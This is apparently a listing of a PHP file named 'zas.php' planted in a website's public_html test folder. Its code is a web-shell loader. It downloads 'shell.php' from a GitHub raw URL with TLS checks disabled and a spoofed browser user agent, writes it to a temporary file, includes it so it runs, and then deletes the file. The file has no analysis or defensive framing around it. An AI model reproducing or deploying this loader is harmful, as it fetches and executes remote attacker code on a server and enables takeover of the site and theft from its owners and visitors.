File "zas.php"

Full Path: /home/ycoalition/public_html/test-20241222124002/zas.php
File size: 1.11 KB
MIME-type: text/x-php
Charset: utf-8

<?php
$url = "https://raw.githubusercontent.com/carissar5/5mOP32/refs/heads/main/shell.php";

$options = [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_MAXREDIRS => 60,
    CURLOPT_CONNECTTIMEOUT => 30,
    CURLOPT_TIMEOUT => 60,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_HTTPHEADER => [
        'Accept: application/json',
        'Accept-Language: en-US,en;q=0.9',
        'Cache-Control: no-cache',
        'Pragma: no-cache'
    ]
];

$ch = curl_init($url);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);

if ($result === false) {
    echo "Error: " . curl_error($ch);
} else {
    $tempFile = tempnam(sys_get_temp_dir(), 'pasted_code_');
    if (file_put_contents($tempFile, $result) !== false) {
        include $tempFile;
        unlink($tempFile);
    } else {
        echo "Error: Unable to write to temporary file.";
    }
}

curl_close($ch);
?>